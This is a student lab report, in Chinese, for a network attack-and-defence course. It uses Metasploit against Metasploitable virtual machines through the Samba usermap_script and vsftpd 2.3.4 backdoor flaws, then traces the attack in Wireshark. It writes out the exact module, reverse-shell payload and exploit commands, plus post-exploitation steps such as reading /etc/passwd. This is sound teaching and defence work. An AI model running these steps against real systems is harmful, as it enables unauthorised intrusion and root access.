20252901 2025-2026-2 《网络攻防实践》实践七报告
20252901 程宇 2025-2026-2 《网络攻防实践》实践七报告
一、实践内容
1. 使用Metasploit进行Linux远程渗透攻击
任务: 使用Metasploit渗透测试软件,攻击Linux靶机上的Samba服务Usermap_script安全漏洞,获取目标Linux靶机的主机访问权限。
实践步骤:
- 启动Metasploit软件,可根据个人喜好使用msfconsole、msfgui、msfweb之一;
- 使用exploit:exploit/multi/samba/usermap_script渗透攻击模块;
- 选择攻击PAYLOAD为远程shell(正向或反向连接均可);
- 设置渗透攻击参数(RHOST,LHOST,TARGET等);
- 执行渗透攻击;
- 查看是否正确得到远程Shell,并查看获得的权限。
2. 实践作业:攻防对抗实践
攻击方: 使用 Metasploit,选择 Metasploitable 靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得root权限。
防守方: 使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件,结合 wireshark/snort 分析攻击过程,获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。
二、实验目的与原理
- 掌握 Metasploit 渗透测试框架的核心使用方法,熟悉渗透攻击模块、攻击载荷的配置与执行全流程;
- 掌握利用 Samba 服务 usermap_script 安全漏洞对 Linux 靶机进行远程渗透攻击的方法,实现靶机远程访问权限的获取;
- 完成攻防对抗实践,掌握 Linux 系统常见服务漏洞的利用方法,同时熟练使用 Wireshark 完成攻击流量的捕获、分析与攻击行为溯源;
- 理解 Linux 系统远程渗透攻击的完整链路,建立网络攻击与防御的闭环认知,掌握 Linux 系统基础安全加固思路。
Samba 服务 usermap_script 漏洞原理
Samba 是 Linux 系统实现 SMB/CIFS 协议的开源服务软件,用于实现跨平台文件与打印共享。本次实验利用的 usermap_script 漏洞(CVE-2007-2447),存在于 Samba 3.0.20 ~ 3.0.25rc3 版本中。
漏洞成因: Samba 服务在处理用户名映射脚本时,对客户端传入的用户名未做严格的安全过滤与特殊字符转义,攻击者可在用户名中注入 Shell 命令;当 Samba 服务处理该用户名时,会直接执行注入的恶意系统命令,从而实现无权限验证的远程代码执行,最终获取靶机的系统控制权。
vsftpd 2.3.4 后门漏洞原理
vsftpd 是 Linux 系统主流的轻量级 FTP 服务软件,其 2.3.4 版本被恶意植入后门程序。当攻击者使用末尾包含:)特殊字符的用户名发起 FTP 登录请求时,会直接触发靶机的后门程序,在靶机的 6200 端口自动开启 TCP 监听;攻击者连接该端口后,可直接获得靶机的交互式 Shell,无需身份验证即可实现对靶机的远程控制。
三、实验步骤与过程
基础实验:使用 Metasploit 进行 Linux 远程渗透攻击
本次实验核心目标为利用 Samba 服务 usermap_script 漏洞,对 Metasploitable_Ubuntu 靶机发起渗透攻击,获取靶机的 root 权限。
实验环境配置
本次实验基于 VMware 虚拟化环境搭建,所有虚拟机处于同一网段,实验前已完成网络连通性校验与基础环境配置,虚拟机角色与 IP 分配如下:
| 虚拟机名称 | 操作系统 | IP地址 | 核心工具 |
|---|---|---|---|
| Kali | Kali Linux | 192.168.200.3 | Metasploit Framework、Wireshark、终端命令行工具 |
| Metasploitable_Ubuntu | Ubuntu | 192.168.200.5 | Samba 服务 |
| Metasploitable_Linux | Linux | 192.168.200.9 | vsftpd 服务 |
配置说明:
在配置 Metasploitable_Ubuntu 时,需要执行命令 sudo vim /etc/rc.local,输入密码 msfadmin 进行编辑。如果懒得修改,可以重装一个,设置成同一网段即可,无需任何手动配置命令,系统会默认自动获取ip。
输入 i 变成编辑模式,修改如下配置命令:
ifconfig eth0 192.168.200.5 netmask 255.255.255.128
route add default gw 192.168.200.2
按 esc 和 : 保存并退出后,执行 sudo reboot 命令重启虚拟机。
注意: 老师提供的百度网盘Metasploitable_Linux有问题,无法运行,可从官网下载 https://www.rapid7.com/products/metasploit/metasploitable/ 下载预计15分钟。用户名和密码同样是msfadmin
步骤 1:实验环境连通性验证
在 Kali 攻击机终端执行以下命令,验证与靶机的网络连通性,确保攻击链路正常:
ping 192.168.200.5

执行结果显示数据包无丢失、往返时延正常,确认攻击机与靶机网络互通,可开展后续渗透操作。
步骤 2:启动 Metasploit 控制台
在 Kali 终端以 root 权限启动 Metasploit 框架控制台,执行命令:
sudo su
msfconsole

启动完成后,进入 Metasploit 交互界面,提示符为 msf >。
步骤 3:搜索并加载渗透攻击模块
在 msfconsole 中执行以下命令,搜索 usermap_script 漏洞对应的攻击模块:
search samba usermap_script

搜索结果中,定位到评级为 excellent 的渗透模块 exploit/multi/samba/usermap_script,执行 use 命令加载该模块:
use exploit/multi/samba/usermap_script
模块加载完成后,提示符更新为 msf exploit(multi/samba/usermap_script) >。
步骤 4:选择并配置攻击载荷
执行 show payloads 命令,查看该模块支持的所有攻击载荷列表。本次实验选择反向连接 Shell 载荷,实现靶机主动回连攻击机,保证攻击链路的稳定性,执行配置命令:
set payload cmd/unix/reverse_netcat

步骤 5:配置渗透攻击核心参数
执行 show options 命令,查看模块与载荷的必填配置项,根据实验环境配置核心参数:
# 配置靶机IP地址(Metasploit 6+版本统一使用RHOSTS复数参数)
set RHOSTS 192.168.200.5
# 配置攻击机监听IP地址,用于接收靶机反向连接
set LHOST 192.168.200.3
配置完成后,再次执行 show options 命令,确认所有必填参数配置无误,无缺失项。

步骤 6:执行渗透攻击
参数校验完成后,执行 exploit 命令发起渗透攻击:
exploit

攻击执行后,控制台显示 Started reverse TCP handler on 192.168.200.3:4444,并成功建立与靶机的会话,进入靶机的交互式命令行 Shell。
步骤 7:攻击结果与权限验证
在获得的 Shell 中执行以下命令,验证攻击效果与获取的系统权限:
# 查看当前操作用户,确认权限等级
whoami
# 查看靶机网络配置,确认目标为Metasploitable_Ubuntu靶机
ifconfig
# 查看当前工作目录
pwd
# 查看靶机目录文件
ls
# 查看这台 Linux 有哪些用户
cat /etc/passwd


执行结果显示,当前用户为 root,成功获得靶机的最高系统权限,网络配置与靶机 IP 192.168.200.5 完全匹配,本次渗透攻击成功完成。
攻防对抗实践
本次实践分为攻击方与防守方两个角色,攻击方利用 vsftpd 漏洞完成靶机控制,防守方通过 Wireshark 完成攻击流量捕获、分析与溯源。
基础信息提取
| 溯源项目 | 详细信息 |
|---|---|
| 攻击者 IP | 192.168.200.3 |
| 靶机 IP | 192.168.200.9 |
| 攻击目标端口 | 初始 FTP 控制端口 21、后门触发端口 6200 |
| 攻击发起时间 | 流量中首次 SYN 请求的时间戳 |
| 利用漏洞 | vsftpd 2.3.4 自带后门漏洞 |
攻击方操作
步骤 1:搜索并加载漏洞攻击模块
在 msfconsole 中执行以下命令,搜索 vsftpd 漏洞对应的攻击模块:
search vsftpd

搜索结果中,定位到 exploit/unix/ftp/vsftpd_234_backdoor 模块,执行 use 命令加载:
use exploit/unix/ftp/vsftpd_234_backdoor
步骤 2:配置攻击载荷与核心参数
执行 show payloads 查看支持的载荷,选择适配的交互载荷并配置核心参数:
# 配置靶机与攻击机
set RHOSTS 192.168.200.9
set LHOST 192.168.200.3
set payload cmd/unix/reverse

同步开启 Wireshark 流量捕获
打开 Wireshark,选择攻击机与靶机通信的虚拟网卡,设置显示过滤规则:
ip.addr == 192.168.200.3 && ip.addr == 192.168.200.9
点击开始捕获,同步记录攻击全流程的网络流量。
执行攻击并完成靶机操作
参数配置无误后,执行 exploit 命令发起攻击:
exploit

攻击成功后,获得靶机的交互式 Shell,执行以下操作完成对靶机的控制:
# 验证权限
whoami
# 查看靶机信息
uname -a
# 进入用户目录创建测试文件
cd /home
mkdir attack_verify
echo "vsftpd attack success" > attack_log.txt
# 查看文件创建结果
ls

Wireshark 攻击流量分析与溯源
攻击完成后,停止 Wireshark 流量捕获,对流量包进行深度分析,完成攻击全链路溯源:
攻击过程流量还原
- 会话建立阶段(No. 816-818):攻击机向靶机 21 端口发起 TCP 三次握手,建立 FTP 控制会话;

-
漏洞触发阶段(No. 821):攻击机发送 FTP 用户名
USER xxx:),用户名末尾的:)特殊字符触发后门程序,靶机在 6200 端口开启 TCP 监听; -
控制通道建立(No. 825-827):攻击机向靶机 6200 端口发起 TCP 连接,成功建立会话,获得靶机 Shell 权限;
-
恶意操作阶段(tcp.stream eq 13/14,具体因人而异):右键选中攻击会话数据包,选择 Follow → TCP Stream,可完整还原攻击者在 Shell 中执行的所有命令,包括权限验证、目录切换、文件创建等操作。


攻击特征识别
- 漏洞触发特征:FTP 协议请求中,用户名包含
:)特殊字符; - 异常网络行为:靶机非知名端口 6200 主动开启监听,并与外部 IP 建立 TCP 连接;
- 协议异常:FTP 控制通道建立后,传输了大量非 FTP 协议的 Linux 系统命令,属于明显的异常数据传输。
四、实验中遇到的问题及解决方法
问题: 执行渗透攻击后,未获得靶机会话,提示 Exploit completed, but no session was created。
原因: 靶机 Metasploitable_Ubuntu 未开启存在漏洞的 Samba/vsftpd 服务,或服务版本不符合漏洞利用要求。
解决方法: 进行第二个实验的时候不要使用 Metaspolitable_Ubuntu 而是采用 Metaspolitable_Linux。
五、实验总结
通过本次实践,我完整完成了 Linux 系统远程渗透攻击与攻防对抗的全流程操作,熟练掌握了 Metasploit 框架的核心使用方法,包括漏洞模块搜索、加载、攻击载荷配置、参数设置与攻击执行的完整链路,成功利用 Samba 与 vsftpd 两个经典漏洞完成了 Linux 靶机的渗透攻击,获得了靶机的 root 最高权限。
本次实验也让我意识到,我对 Linux 漏洞的底层原理掌握仍不够深入,后续我会继续学习 Linux 系统安全与渗透测试相关知识,通过更多的实践操作,提升自己的网络攻防与安全分析能力。
浙公网安备 33010602011771号